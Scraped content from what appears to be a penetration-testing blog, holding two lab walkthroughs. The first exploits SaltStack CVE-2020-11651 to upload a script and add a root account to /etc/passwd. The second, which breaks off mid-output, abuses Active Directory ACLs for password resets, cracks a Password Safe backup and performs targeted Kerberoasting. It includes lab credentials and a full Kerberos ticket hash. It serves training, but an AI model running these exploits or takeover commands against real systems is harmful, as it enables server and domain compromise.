Nmap 7.95 ( https://nmap.org ) at 2026-02-25 22:52 CET Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 97.75% done; ETC: 22:52 (0:00:00 remaining) Nmap scan report for $VICTIM Host is up (0.022s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA) | 256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA) |_ 256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519) 53/tcp open domain NLnet Labs NSD 80/tcp open http nginx 1.16.1 |_http-server-header: nginx/1.16.1 |_http-title: Home | Mezzanine 4505/tcp open zmtp ZeroMQ ZMTP 2.0 4506/tcp open zmtp ZeroMQ ZMTP 2.0 8000/tcp open http nginx 1.16.1 |_http-open-proxy: Proxy might be redirecting requests |_http-title: Site doesn\u0026#39;t have a title (application/json). |_http-server-header: nginx/1.16.1 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running (JUST GUESSING): Linux 3.X|4.X|2.6.X|5.X (97%), MikroTik RouterOS 7.X (91%) OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (91%), Linux 3.8 - 3.16 (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (91%) No exact OS matches for host (test conditions non-ideal). OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds Web └─$ ffuf -u http://$VICTIM/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -recursion -recursion-depth 2 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://$VICTIM/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ about [Status: 200, Size: 6091, Words: 1013, Lines: 267, Duration: 1308ms] admin [Status: 200, Size: 4251, Words: 680, Lines: 162, Duration: 669ms] blog [Status: 200, Size: 6252, Words: 1054, Lines: 314, Duration: 1057ms] contact [Status: 200, Size: 7951, Words: 1292, Lines: 355, Duration: 743ms] edit [Status: 200, Size: 4250, Words: 680, Lines: 162, Duration: 671ms] gallery [Status: 200, Size: 22187, Words: 2370, Lines: 583, Duration: 824ms] search [Status: 200, Size: 6138, Words: 1015, Lines: 278, Duration: 1052ms] sitemap.xml [Status: 200, Size: 530, Words: 4, Lines: 5, Duration: 809ms] static [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 22ms] We do the same for the other http service.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ffuf -u http://$VICTIM:8000/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -recursion -recursion-depth 2 :: Method : GET :: URL : http://$VICTIM:8000/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ användare [Status: 500, Size: 1455, Words: 233, Lines: 41, Duration: 510ms] events [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 122ms] hook [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 114ms] index [Status: 200, Size: 146, Words: 12, Lines: 1, Duration: 132ms] jobs [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 48ms] keys [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 129ms] login [Status: 200, Size: 43, Words: 6, Lines: 1, Duration: 126ms] logout [Status: 500, Size: 823, Words: 166, Lines: 31, Duration: 344ms] run [Status: 200, Size: 146, Words: 12, Lines: 1, Duration: 162ms] stats [Status: 401, Size: 753, Words: 155, Lines: 31, Duration: 123ms] token [Status: 200, Size: 146, Words: 12, Lines: 1, Duration: 270ms] Looking at the web on port 80 we see an instance of Mezzanine CMS but it didn\u0026rsquo;t yield in any results as we couldn\u0026rsquo;t get past the login page nor any default creds worked. Also we couldn\u0026rsquo;t find any public exploits for it. So we move to 8000 port.\nSaltStack The requests to that returned JSON responses, meaning that it could be some form of API running. Running a curl confirmed that. And we get the version of the API as well.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 └─$ curl http://$VICTIM:8000 -v * Trying $VICTIM:8000... * Connected to $VICTIM ($VICTIM) port 8000 * using HTTP/1.x \u0026gt; GET / HTTP/1.1 \u0026gt; Host: $VICTIM:8000 \u0026gt; User-Agent: curl/8.14.1 \u0026gt; Accept: */* \u0026gt; * Request completely sent off \u0026lt; HTTP/1.1 200 OK \u0026lt; Server: nginx/1.16.1 \u0026lt; Date: Thu, 26 Feb 2026 12:12:28 GMT \u0026lt; Content-Type: application/json \u0026lt; Content-Length: 146 \u0026lt; Connection: keep-alive \u0026lt; Access-Control-Expose-Headers: GET, POST \u0026lt; Vary: Accept-Encoding \u0026lt; Allow: GET, HEAD, POST \u0026lt; Access-Control-Allow-Credentials: true \u0026lt; Access-Control-Allow-Origin: * \u0026lt; X-Upstream: salt-api/3000-1 \u0026lt; * Connection #0 to host $VICTIM left intact {\u0026#34;clients\u0026#34;: [\u0026#34;local\u0026#34;, \u0026#34;local_async\u0026#34;, \u0026#34;local_batch\u0026#34;, \u0026#34;local_subset\u0026#34;, \u0026#34;runner\u0026#34;, \u0026#34;runner_async\u0026#34;, \u0026#34;ssh\u0026#34;, \u0026#34;wheel\u0026#34;, \u0026#34;wheel_async\u0026#34;], \u0026#34;return\u0026#34;: \u0026#34;Welcome\u0026#34;} We already had seen few interesting ports that were running ZMTP.\nInfo The ZeroMQ Message Transport Protocol (ZMTP) is a transport layer protocol for exchanging messages between two peers over a connected transport layer such as TCP. This document describes ZMTP/2.0. In theory, ZMTP should define fully interoperable behavior between implementations. And after some digging about salt-api/3000-1 we see that port 8000 was running Salt Stack.\nInfo SaltStack (often just called \u0026ldquo;Salt\u0026rdquo;) is an open-source, Python-based infrastructure automation, configuration management, and remote execution engine. Designed for high-speed, parallel management of server fleets, it uses a master-minion architecture to deploy, manage, and secure, cloud, virtual, or physical servers using YAML and Jinja templates. Furthermore we come to the finding of CVE-2020-11651 and CVE-2020-11652 that have public exploits available for RCE and basically whole server take over. We found a nice PoC for this;\nWe had to install many packages with pip apparently but it worked, even though there was also a public exploit here on ExploitDB.\nWe confirm it works:\n1 2 3 4 python exploit.py --master $VICTIM [+] Checking salt-master ($VICTIM:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... YES [*] root key obtained: MM+k7kuD8qK7uY/FCqn+L+gPc6ScqcoJBfVShUUA3KGay3i/woG7skNXpMmON4009lLtSZ9DRlk= And then we just add a new root user on the /etc/passwd using this script:\n1 echo \u0026#39;hacked13:$1$hacked$ihQQpAqXirphTVaWAhZC1/:0:0:test:/root:/bin/bash\u0026#39; \u0026gt;\u0026gt; /etc/passwd Tip It add user hacked13 with password 123 as root user. Upload it and execute it.\n1 2 3 4 5 6 python exploit.py --master $VICTIM --upload-src ../lol.sh --upload-dest ../../../../../../tmp/lol.sh [+] Checking salt-master ($VICTIM:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... YES [*] root key obtained: MM+k7kuD8qK7uY/FCqn+L+gPc6ScqcoJBfVShUUA3KGay3i/woG7skNXpMmON4009lLtSZ9DRlk= [+] Attemping to upload ../lol.sh to ../../../../../../tmp/lol.sh on $VICTIM [ ] Wrote data to file /srv/salt/../../../../../../tmp/lol.sh And here we confirm it has run successfully.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 python exploit.py --master $VICTIM -r \u0026#34;/etc/passwd\u0026#34; [+] Checking salt-master ($VICTIM:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... YES [*] root key obtained: MM+k7kuD8qK7uY/FCqn+L+gPc6ScqcoJBfVShUUA3KGay3i/woG7skNXpMmON4009lLtSZ9DRlk= [+] Attemping to read /etc/passwd from $VICTIM root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:998:996::/var/lib/chrony:/sbin/nologin mezz:x:997:995::/home/mezz:/bin/false nginx:x:996:994:Nginx web server:/var/lib/nginx:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin hacked13:$1$hacked$ihQQpAqXirphTVaWAhZC1/:0:0:test:/root:/bin/bash So we can basically SSH and get the flag.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 └─$ ssh hacked13@$VICTIM hacked13@$VICTIM\u0026#39;s password: 0;root@twiggy:~ [root@twiggy ~]# pwd /root 0;root@twiggy:~ [root@twiggy ~]# ls proof.txt 0;root@twiggy:~ [root@twiggy ~]# cat proof.txt 1dc116787b04a90e403b6bed9215c0be 0;root@twiggy:~ [root@twiggy ~]# id uid=0(root) gid=0(root) groups=0(root) 0;root@twiggy:~ [root@twiggy ~]# exit logout ","permalink":"https://p4n4s.com/posts/offsec/twiggy/","summary":"This lab demonstrates exploiting a pre-auth remote code execution vulnerability in SaltStack Master (CVE-2020-11651). Learners will leverage the SaltStack API to execute arbitrary commands, resulting in a root shell on the target. This lab highlights the risks of unpatched critical vulnerabilities in infrastructure management tools.","title":"PG Practice: Linux - Twiggy"},{"content":"Machine Info Spoiler Administrator is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the michael account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user olivia has GenericAll permissions over michael, allowing us to reset his password. With access as michael, it is revealed that he can force a password change on the user benjamin, whose password is reset. This grants access to FTP where a backup.psafe3 file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user emily. Further enumeration shows that emily has GenericWrite permissions over the user ethan, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for ethan, who is found to have DCSync rights ultimately allowing retrieval of the Administrator account hash and full domain compromise. As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich.\nUser Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 └─$ nmap -p$ports -sC -sV $VICTIM Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-31 13:20 CET Nmap scan report for administrator.htb (10.129.5.192) Host is up (0.043s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-31 19:20:17Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 50986/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 50997/tcp open msrpc Microsoft Windows RPC 51002/tcp open msrpc Microsoft Windows RPC 51005/tcp open msrpc Microsoft Windows RPC 51021/tcp open msrpc Microsoft Windows RPC 57513/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-01-31T19:21:14 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: 7h00m00s Let\u0026rsquo;s add dc.administrator.htb \u0026amp; administrator.htb to our /etc/hosts\nAD Enumeration We are given credentials so we start with enumerating the AD.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 └─$ impacket-lookupsid administrator.htb/olivia@administrator.htb Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [*] Brute forcing SIDs at administrator.htb [*] StringBinding ncacn_np:administrator.htb[\\pipe\\lsarpc] [*] Domain SID is: S-1-5-21-1088858960-373806567-254189436 498: ADMINISTRATOR\\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: ADMINISTRATOR\\Administrator (SidTypeUser) 501: ADMINISTRATOR\\Guest (SidTypeUser) 502: ADMINISTRATOR\\krbtgt (SidTypeUser) 512: ADMINISTRATOR\\Domain Admins (SidTypeGroup) 513: ADMINISTRATOR\\Domain Users (SidTypeGroup) 514: ADMINISTRATOR\\Domain Guests (SidTypeGroup) 515: ADMINISTRATOR\\Domain Computers (SidTypeGroup) 516: ADMINISTRATOR\\Domain Controllers (SidTypeGroup) 517: ADMINISTRATOR\\Cert Publishers (SidTypeAlias) 518: ADMINISTRATOR\\Schema Admins (SidTypeGroup) 519: ADMINISTRATOR\\Enterprise Admins (SidTypeGroup) 520: ADMINISTRATOR\\Group Policy Creator Owners (SidTypeGroup) 521: ADMINISTRATOR\\Read-only Domain Controllers (SidTypeGroup) 522: ADMINISTRATOR\\Cloneable Domain Controllers (SidTypeGroup) 525: ADMINISTRATOR\\Protected Users (SidTypeGroup) 526: ADMINISTRATOR\\Key Admins (SidTypeGroup) 527: ADMINISTRATOR\\Enterprise Key Admins (SidTypeGroup) 553: ADMINISTRATOR\\RAS and IAS Servers (SidTypeAlias) 571: ADMINISTRATOR\\Allowed RODC Password Replication Group (SidTypeAlias) 572: ADMINISTRATOR\\Denied RODC Password Replication Group (SidTypeAlias) 1000: ADMINISTRATOR\\DC$ (SidTypeUser) 1101: ADMINISTRATOR\\DnsAdmins (SidTypeAlias) 1102: ADMINISTRATOR\\DnsUpdateProxy (SidTypeGroup) 1108: ADMINISTRATOR\\olivia (SidTypeUser) 1109: ADMINISTRATOR\\michael (SidTypeUser) 1110: ADMINISTRATOR\\benjamin (SidTypeUser) 1111: ADMINISTRATOR\\Share Moderators (SidTypeAlias) 1112: ADMINISTRATOR\\emily (SidTypeUser) 1113: ADMINISTRATOR\\ethan (SidTypeUser) 3601: ADMINISTRATOR\\alexander (SidTypeUser) 3602: ADMINISTRATOR\\emma (SidTypeUser) We tried password spray attacks and also to connect to FTP but didn\u0026rsquo;t succeed. Let\u0026rsquo;s move forward with running Bloodhound.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 └─$ bloodhound-python -d administrator.htb -u olivia -dc dc.administrator.htb -ns $VICTIM -c all INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) Password: INFO: Found AD domain: administrator.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.administrator.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc.administrator.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.administrator.htb INFO: Found 11 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc.administrator.htb INFO: Done in 00M 11S Pivot Users From the results we find interesting domain privileges.\nIt shows basically that our known user can pivot to michael and then benjamin with the GenericAll and ForceChangePassword object controls. So at first what we can do is basically gain access to michael by changing his password.\n1 └─$ net rpc password michael \u0026#39;NewPass123!\u0026#39; -U \u0026#39;ADMINISTRATOR.HTB/olivia%ichliebedich\u0026#39; -S administrator.htb 1 2 3 └─$ crackmapexec smb administrator.htb -u michael -p \u0026#39;NewPass123!\u0026#39; --continue-on-success SMB administrator.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False) SMB administrator.htb 445 DC [+] administrator.htb\\michael:NewPass123! We can confirm our attack worked. Without but post-enumeration for user michael we go straight to do the same and pivot to user benjamin.\n1 └─$ net rpc password benjamin \u0026#39;NewPass123!\u0026#39; -U \u0026#39;ADMINISTRATOR.HTB/michael%NewPass123!\u0026#39; -S administrator.htb Password Safe Benjamin is part of the group Share Moderators and so let\u0026rsquo;s see if he is the one being able to access the FTP share.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ─$ ftp benjamin@administrator.htb Connected to administrator.htb. 220 Microsoft FTP Service 331 Password required Password: 230 User logged in. Remote system type is Windows_NT. ftp\u0026gt; ls 229 Entering Extended Passive Mode (|||49435|) 125 Data connection already open; Transfer starting. 10-05-24 08:13AM 952 Backup.psafe3 226 Transfer complete. ftp\u0026gt; get Backup.psafe3 local: Backup.psafe3 remote: Backup.psafe3 229 Entering Extended Passive Mode (|||49439|) 125 Data connection already open; Transfer starting. 100% |************************************************| 952 33.20 KiB/s 00:00 ETA 226 Transfer complete. We come across Backup.psafe3. The extension is for single password encrypted files from Password Safe.\nFrom their website: Whether the answer is one or hundreds, Password Safe allows you to safely and easily create a secured and encrypted user name/password list. With Password Safe all you have to do is create and remember a single \u0026ldquo;Master Password\u0026rdquo; of your choice in order to unlock and access your entire user name/password list.\nWe find that there is a mode (5200) in Hashcat that can try crack the password of the backup. Let\u0026rsquo;s use this.\npsafe3 Cracked Password 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 └─$ hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt.gz hashcat (v7.1.2) starting ... Backup.psafe3:tekieromucho Session..........: hashcat Status...........: Cracked Hash.Mode........: 5200 (Password Safe v3) Hash.Target......: Backup.psafe3 Time.Started.....: Sat Jan 31 15:52:43 2026 (0 secs) Time.Estimated...: Sat Jan 31 15:52:43 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 959.4 kH/s (6.24ms) @ Accel:3 Loops:512 Thr:512 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 30720/14344385 (0.21%) Rejected.........: 0/30720 (0.00%) Restore.Point....: 0/14344385 (0.00%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:2048-2049 Candidate.Engine.: Device Generator Candidates.#01...: 123456 -\u0026gt; *star* Hardware.Mon.#01.: Temp: 53c Util: 53% Core:1905MHz Mem:6000MHz Bus:8 Started: Sat Jan 31 15:52:41 2026 Stopped: Sat Jan 31 15:52:44 2026 Looking at the picture we can see the list of user credentials we can copy. The one from Emily Rodriguez is interesting for us Emily\u0026#39;s Password UXLCI5iETUsIBoFVTj8yQFKoHjXmb With emily we can login to the DC and grab the user flag.\nRoot More User Pivoting Looking at our new user access we see that Emily has also interesting outbound controls. She has GenericWrite to Ethan who later can GetChangesAll from the Administrator.htb domain, in other words perform DCSync. Let\u0026rsquo;s first abuse GenericWrite. Info Generic Write access grants you the ability to write to any non-protected attribute on the target object, including \u0026ldquo;members\u0026rdquo; for a group, and \u0026ldquo;serviceprincipalnames\u0026rdquo; for a user.\nWith GenericWrite we can follow two routes for abusing this. Either we perform Shadow Credential Attack were we write msds-KeyCredentialLink attribute on the target object (Ethan) and authenticate as the principal using kerberos PKINIT.\nAlternatively, we can perform a Targeted Kerberoast attack as GenericWrite enables Emily to set a ServicePrincipalName (SPN) on the targeted user. Then we get and crack that hash. We will go with the later!\nFor that we are going to use targetedKerberoast.py, a tool that can perform that specific attack. Basically to perform a targeted kerberoast, we\u0026rsquo;ll use the GenericWrite privilege to give ethan an SPN. Then we can request a ticket for that fake service, and get a ticket encrypted with ethan’s password hash. If that password is weak, I can crack it offline.\n1 2 3 4 5 6 └─$ faketime \u0026#34;$(ntpdate -q administrator.htb | cut -d \u0026#39; \u0026#39; -f 1,2)\u0026#34; targetedKerberoast.py -d administrator.htb -u emily -p \u0026#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb\u0026#39; [*] Starting kerberoast attacks [*] Fetching usernames from Active Directory with LDAP [+] Printing hash for (ethan) $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$ae031d8d773710c1298fe036b3f29b6a$0f87a06c3dc263a421764602e2545ebae3998b6dad62c1ace56b9086239ddc000ffd95a88802e91cd63e2e2624c21e51326578980bce56189e12b5d1d65c59c8c4c867d6865832d8cfcbd6d77532daacadcac20356bb41d200f87703044a75add5fde198d1b3b253969deb8db01d7fc2e3a216a2477878d951994654441a87df989e75afe2c2351c2374cd7b1e921c7aaa6e4122247b9da3d4dfd2d10ec2e44976254e4361aa72094ef7eef06bb44ffeb20d21662329bdd63a133ebfe95006594fede55f6c78bd0279349b35b16b93d1bad25bc2b8b3218202b5352414503bcb519c5a266af863efe57d61e2170f6aaac6e79e12063e0868d4c78f37ca5cdf26cb48cb1a57a204e7fc44a6519567d2f89eb414a69a4ed92fcab1a795ee25ede87e81ed0e4875babdf87fdea7b7e553644f63fcba5b1a06a8f1e5f5fa49bd78e738c8ee8c70e2526df6f6e21be4957c58c30f506a40f8714cae884a690081715b5bfd7eb02e1c23664a643c84d98c7044a9835d81bfb35d25e27c1893f13c8cd933bf6ea88c7cfcc065b5fa19c17c37098976b1d18f966fd0daf2d14b046efdfb86cd14f1339fc1bd5dd40e83805bb4af1cd8eb276797661257df4783483c6943bbabf7aac21c84db0c54ac0d45e93b525a2c4e8f4cea45d960053eeb4999e96270b2d226a152157e427f4738a94189b9118ff850c5b4a4ba43ddbfe37e0b1014165cefa1238cefd60b3ed1054de32b744fdb1e63bbed2e7b6a9c177fa465250df82c1af564da19bf0c505c39db489c3c73f105890c71df099dacf1e859280c038014ccf1a25430f9b99eeb521769f8379276a282f59449c7b0d857fc6fcb3ba7e4e9546b94a635dd1b8447d39cd84717e94e486dec750cd048bdf26e4f97904ef5063258531faeee8648c4aafb84d70de40ed4c5e406bcf33352e248c662fe5647ec39c13d563fae7683eb638aaab597b4cede6e3e461a17d4bb8fe6c376b13564dd3721424e7a18576ce7dafcf760f56e73a002198271273d857d0d51a4a84bab6d254f5b9b4d20f56c94d48f007c3c0f387a9c9a83c879bd2e099fab5ddb7cd00098707a166a8da0dd901c1de6c777e80de4fb7f48523d92af47ea6645da0aa9ca46c798d5a50f76f62ac4e9052e24d6d2ba88ea6e11038aae437f41ca10e219694986eaf7bfd4a6d27b3900b399f3a58c8056c7d995e873d398234f4794625582c1fa9a3322392a6f3d6c09fd488334198632709f1df5ee7d519294de799d73c789464fd719a2b4e9da7a6aa2d33211f7f3179e09aea5f6a642aeb6956a63c7a52d83c74e641662f18afcba42eca22b4c4a350f45ae56845ffcba55a265f685fef1e26935d2277a20e29ff8829be8954ebe1c2ecf8e5413c44e1b1ed4ef39564f148b08a4567171880f9446bbd9dada4dfc13b0dc5a2dedc1c53d2e083fa62d69d50dea9552f85cd6850b65e254a34349393d54c9b0c98e9bf01ef9b683cbd1e6147c9a85b094df9b0347a7ca8da83be983b81df2bc45ca3f8855839231 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 └─$ hashcat -m 13100 ethan.hash /usr/share/wordlists/rockyou.txt.gz hashcat (v7.1.2) starting $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$ae031d8d773710c1298fe036b3f29b6a$0f87a06c3dc263a421764602e2545ebae3998b6dad62c1ace56b9086239ddc000ffd95a88802e91cd63e2e2624c21e51326578980bce56189e12b5d1d65c59c8c4c867d6865832d8cfcbd6d77532daacadcac20356bb41d200f87703044a75add5fde198d1b3b253969deb8db01d7fc2e3a216a2477878d951994654441a87df989e75afe2c2351c2374cd7b1e921c7aaa6e4122247b9da3d4dfd2d10ec2e44976254e4361aa72094ef7eef06bb44ffeb20d21662329bdd63a133ebfe95006594fede55f6c78bd0279349b35b16b93d1bad25bc2b8b3218202b5352414503bcb519c5a266af863efe57d61e2170f6aaac6e79e12063e0868d4c78f37ca5cdf26cb48cb1a57a204e7fc44a6519567d2f89eb414a69a4ed92fcab1a795ee25ede87e81ed0e4875babdf87fdea7b7e553644f63fcba5b1a06a8f1e5f5fa49bd78e738c8ee8c70e2526df6f6e21be4957c58c30f506a40f8714cae884a690081715b5bfd7eb02e1c23664a643c84d98c7044a9835d81bfb35d25e27c1893f13c8cd933bf6ea88c7cfcc065b5fa19c17c37098976b1d18f966fd0daf2d14b046efdfb86cd14f1339fc1bd5dd40e83805bb4af1cd8eb276797661257df4783483c6943bbabf7aac21c84db0c54ac0d45e93b525a2c4e8f4cea45d960053eeb4999e96270b2d226a152157e427f4738a94189b9118ff850c5b4a4ba43ddbfe37e0b1014165cefa1238cefd60b3ed1054de32b744fdb1e63bbed2e7b6a9c177fa465250df82c1af564da19bf0c505c39db489c3c73f105890c71df099dacf1e859280c038014ccf1a25430f9b99eeb521769f8379276a282f59449c7b0d857fc6fcb3ba7e4e9546b94a635dd1b8447d39cd84717e94e486dec750cd048bdf26e4f97904ef5063258531faeee8648c4aafb84d70de40ed4c5e406bcf33352e248c662fe5647ec39c13d563fae7683eb638aaab597b4cede6e3e461a17d4bb8fe6c376b13564dd3721424e7a18576ce7dafcf760f56e73a002198271273d857d0d51a4a84bab6d254f5b9b4d20f56c94d48f007c3c0f387a9c9a83c879bd2e099fab5ddb7cd00098707a166a8da0dd901c1de6c777e80de4fb7f48523d92af47ea6645da0aa9ca46c798d5a50f76f62ac4e9052e24d6d2ba88ea6e11038aae437f41ca10e219694986eaf7bfd4a6d27b3900b399f3a58c8056c7d995e873d398234f4794625582c1fa9a3322392a6f3d6c09fd488334198632709f1df5ee7d519294de799d73c789464fd719a2b4e9da7a6aa2d33211f7f3179e09aea5f6a642aeb6956a63c7a52d83c74e641662f18afcba42eca22b4c4a350f45ae56845ffcba55a265f685fef1e26935d2277a20e29ff8829be8954ebe1c2ecf8e5413c44e1b1ed4ef39564f148b08a4567171880f9446bbd9dada4dfc13b0dc5a2dedc1c53d2e083fa62d69d50dea9552f85cd6850b65e254a34349393d54c9b0c98e9bf01ef9b683cbd1e6147c9a85b094df9b0347a7ca8da83be983b81df2bc45ca3f8855839231:\u0026lt;SPOILER\u0026gt; Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator....839231 Time.Started.....: Sat Jan 31 17:14:23 2026 (0 secs) Time.Estimated...: Sat Jan 31 17:14:23 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 45629.9 kH/s (6.63ms) @ Accel:1024 Loops:1 Thr:32 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 655360/14344385 (4.57%) Rejected.........: 0/655360 